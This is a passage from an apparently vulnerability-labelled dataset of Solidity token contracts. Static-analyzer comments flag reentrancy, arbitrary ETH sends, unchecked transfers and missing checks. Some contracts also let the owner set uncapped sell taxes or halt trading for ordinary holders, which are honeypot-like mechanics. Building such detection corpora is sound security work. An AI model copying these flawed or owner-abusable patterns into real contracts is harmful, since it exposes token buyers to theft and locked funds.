d37527e\n\t\t// arbitrary-send-eth | ID: 3249910\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1092a7c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1092a7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c59f9dc): POPCAT2.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c59f9dc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 086deae): POPCAT2.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 086deae: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 44ea0f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 44ea0f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1092a7c\n\t\t// reentrancy-eth | ID: 44ea0f3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1092a7c\n\t\t// unused-return | ID: c59f9dc\n\t\t// reentrancy-eth | ID: 44ea0f3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1092a7c\n\t\t// unused-return | ID: 086deae\n\t\t// reentrancy-eth | ID: 44ea0f3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1092a7c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 44ea0f3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10542.sol",
"size_bytes": 19541,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapRouter {\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = msg.sender;\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"you are not owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"new is 0\");\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract Token is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address payable public mkt;\n\n address payable private team;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34e4ed7): Token._uniswapRouter should be immutable \n\t// Recommendation for 34e4ed7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n mapping(address => bool) public isMarketPair;\n\n bool private inSwap;\n\n uint256 private constant MAX = ~uint256(0);\n\n\t// WARNING Optimization Issue (immutable-states | ID: ef043b4): Token._uniswapPair should be immutable \n\t// Recommendation for ef043b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 30b9ff3): Token.constructor() ignores return value by IERC20(_uniswapRouter.WETH()).approve(address(address(_uniswapRouter)),~ uint256(0))\n\t// Recommendation for 30b9ff3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cf66ca8): Token.constructor().receiveAddr lacks a zerocheck on \t mkt = address(receiveAddr) \t team = address(receiveAddr)\n\t// Recommendation for cf66ca8: Check that the address is not zero.\n constructor() {\n _name = \"Obi PNut Kenobi\";\n\n _symbol = \"OPK\";\n\n _decimals = 9;\n\n uint256 Supply = 42069000000;\n\n _totalSupply = Supply * 10 ** _decimals;\n\n swapAtAmount = _totalSupply / 20000;\n\n address receiveAddr = msg.sender;\n\n _balances[receiveAddr] = _totalSupply;\n\n emit Transfer(address(0), receiveAddr, _totalSupply);\n\n\t\t// missing-zero-check | ID: cf66ca8\n mkt = payable(receiveAddr);\n\n\t\t// missing-zero-check | ID: cf66ca8\n team = payable(receiveAddr);\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[receiveAddr] = true;\n\n _isExcludeFromFee[mkt] = true;\n\n _isExcludeFromFee[team] = true;\n\n IUniswapRouter swapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _uniswapRouter = swapRouter;\n\n _allowances[address(this)][address(swapRouter)] = MAX;\n\n IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());\n\n _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());\n\n isMarketPair[_uniswapPair] = true;\n\n\t\t// unused-return | ID: 30b9ff3\n IERC20(_uniswapRouter.WETH()).approve(\n address(address(_uniswapRouter)),\n ~uint256(0)\n );\n\n _isExcludeFromFee[address(swapRouter)] = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0cb3aae): Token.setMKT(address,address).newMKT lacks a zerocheck on \t mkt = newMKT\n\t// Recommendation for 0cb3aae: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c53d98d): Token.setMKT(address,address).newTeam lacks a zerocheck on \t team = newTeam\n\t// Recommendation for c53d98d: Check that the address is not zero.\n function setMKT(\n address payable newMKT,\n address payable newTeam\n ) public onlyOwner {\n\t\t// missing-zero-check | ID: 0cb3aae\n mkt = newMKT;\n\n\t\t// missing-zero-check | ID: c53d98d\n team = newTeam;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dd379d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dd379d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-benign | ID: dd379d8\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n\t\t\t// reentrancy-benign | ID: dd379d8\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n uint256 public _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01a847d): Token._initialBuyTax should be constant \n\t// Recommendation for 01a847d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6243f1b): Token._initialSellTax should be constant \n\t// Recommendation for 6243f1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 2;\n\n uint256 private _finalBuyTax = 30;\n\n uint256 private _finalSellTax = 30;\n\n uint256 private _reduceBuyTaxAt = 29;\n\n uint256 private _reduceSellTaxAt = 29;\n\n uint256 private _preventSwapBefore = 40;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 97eb28c): Missing events for critical arithmetic parameters.\n\t// Recommendation for 97eb28c: Emit an event for critical parameter changes.\n function recuseTax(\n uint256 newBuy,\n uint256 newSell,\n uint256 newReduceBuy,\n uint256 newReduceSell,\n uint256 newPreventSwapBefore\n ) public onlyOwner {\n\t\t// events-maths | ID: 97eb28c\n _finalBuyTax = newBuy;\n\n\t\t// events-maths | ID: 97eb28c\n _finalSellTax = newSell;\n\n\t\t// events-maths | ID: 97eb28c\n _reduceBuyTaxAt = newReduceBuy;\n\n\t\t// events-maths | ID: 97eb28c\n _reduceSellTaxAt = newReduceSell;\n\n\t\t// events-maths | ID: 97eb28c\n _preventSwapBefore = newPreventSwapBefore;\n }\n\n uint256 swapAtAmount;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8078ca5): Token.setSwapAtAmount(uint256) should emit an event for swapAtAmount = newValue \n\t// Recommendation for 8078ca5: Emit an event for critical parameter changes.\n function setSwapAtAmount(uint256 newValue) public onlyOwner {\n\t\t// events-maths | ID: 8078ca5\n swapAtAmount = newValue;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fce589c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fce589c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2ee9cab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2ee9cab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8c67024): Token._transfer(address,address,uint256).takeFee is a local variable never initialized\n\t// Recommendation for 8c67024: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n uint256 balance = balanceOf(from);\n\n require(balance >= amount, \"balanceNotEnough\");\n\n if (inSwap) {\n _basicTransfer(from, to, amount);\n\n return;\n }\n\n bool takeFee;\n\n if (\n isMarketPair[to] &&\n !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to] &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 _numSellToken = amount;\n\n if (_numSellToken > balanceOf(address(this))) {\n _numSellToken = _balances[address(this)];\n }\n\n if (_numSellToken > swapAtAmount) {\n\t\t\t\t// reentrancy-events | ID: fce589c\n\t\t\t\t// reentrancy-eth | ID: 2ee9cab\n swapTokenForETH(_numSellToken);\n }\n }\n\n if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {\n require(startTradeBlock > 0);\n\n takeFee = true;\n\n if (\n isMarketPair[from] &&\n to != address(_uniswapRouter) &&\n !_isExcludeFromFee[to]\n ) {\n\t\t\t\t// reentrancy-eth | ID: 2ee9cab\n _buyCount++;\n }\n }\n\n\t\t// reentrancy-events | ID: fce589c\n\t\t// reentrancy-eth | ID: 2ee9cab\n _transferToken(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8229ef4): Token._transferToken(address,address,uint256,bool).feeAmount is a local variable never initialized\n\t// Recommendation for 8229ef4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ef2a9c1): Token._transferToken(address,address,uint256,bool).taxFee is a local variable never initialized\n\t// Recommendation for ef2a9c1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferToken(\n address sender,\n address recipient,\n uint256 tAmount,\n\t\t// reentrancy-eth | ID: 2ee9cab\n bool takeFee\n ) private {\n _balances[sender] = _balances[sender] - tAmount;\n\n uint256 feeAmount;\n\n if (takeFee) {\n uint256 taxFee;\n\n if (isMarketPair[recipient]) {\n taxFee = _buyCount > _reduceSellTaxAt\n ? _finalSellTax\n : _initialSellTax;\n } else if (isMarketPair[sender]) {\n taxFee = _buyCount > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initialBuyTax;\n }\n\n uint256 swapAmount = (tAmount * taxFee) / 100;\n\n if (swapAmount > 0) {\n feeAmount += swapAmount;\n\n\t\t\t\t// reentrancy-eth | ID: 2ee9cab\n _balances[address(this)] =\n _balances[address(this)] +\n swapAmount;\n\n\t\t\t\t// reentrancy-events | ID: fce589c\n emit Transfer(sender, address(this), swapAmount);\n }\n }\n\n\t\t// reentrancy-eth | ID: 2ee9cab\n _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);\n\n\t\t// reentrancy-events | ID: fce589c\n emit Transfer(sender, recipient, tAmount - feeAmount);\n }\n\n uint256 public startTradeBlock;\n\n function startTrade() public onlyOwner {\n require(startTradeBlock == 0, \"already start\");\n\n startTradeBlock = block.number;\n }\n\n function antiBotTrade() public onlyOwner {\n startTradeBlock = 0;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: be44569): Token.removeERC20(address) ignores return value by IERC20(_token).transfer(mkt,IERC20(_token).balanceOf(address(this)))\n\t// Recommendation for be44569: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function removeERC20(address _token) external {\n require(msg.sender == mkt);\n\n\t\t// unchecked-transfer | ID: be44569\n IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));\n\n mkt.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1ccc7a2): Token.swapTokenForETH(uint256) sends eth to arbitrary user Dangerous calls mkt.transfer(_bal / 10) team.transfer(address(this).balance)\n\t// Recommendation for 1ccc7a2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n\t\t// reentrancy-events | ID: fce589c\n\t\t// reentrancy-benign | ID: dd379d8\n\t\t// reentrancy-eth | ID: 2ee9cab\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 _bal = address(this).balance;\n\n if (_bal > 0.01 ether) {\n\t\t\t// reentrancy-events | ID: fce589c\n\t\t\t// reentrancy-eth | ID: 2ee9cab\n\t\t\t// arbitrary-send-eth | ID: 1ccc7a2\n mkt.transfer(_bal / 10);\n\n\t\t\t// reentrancy-events | ID: fce589c\n\t\t\t// reentrancy-eth | ID: 2ee9cab\n\t\t\t// arbitrary-send-eth | ID: 1ccc7a2\n team.transfer(address(this).balance);\n }\n }\n\n function setMarketingFreeTrade(\n address account,\n bool value\n ) public onlyOwner {\n _isExcludeFromFee[account] = value;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10543.sol",
"size_bytes": 19032,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 095954d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 095954d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f40ddec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f40ddec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 095954d\n\t\t// reentrancy-benign | ID: f40ddec\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 095954d\n\t\t// reentrancy-benign | ID: f40ddec\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f40ddec\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 095954d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f87c53f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f87c53f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: afcd05b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for afcd05b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd790ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd790ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n 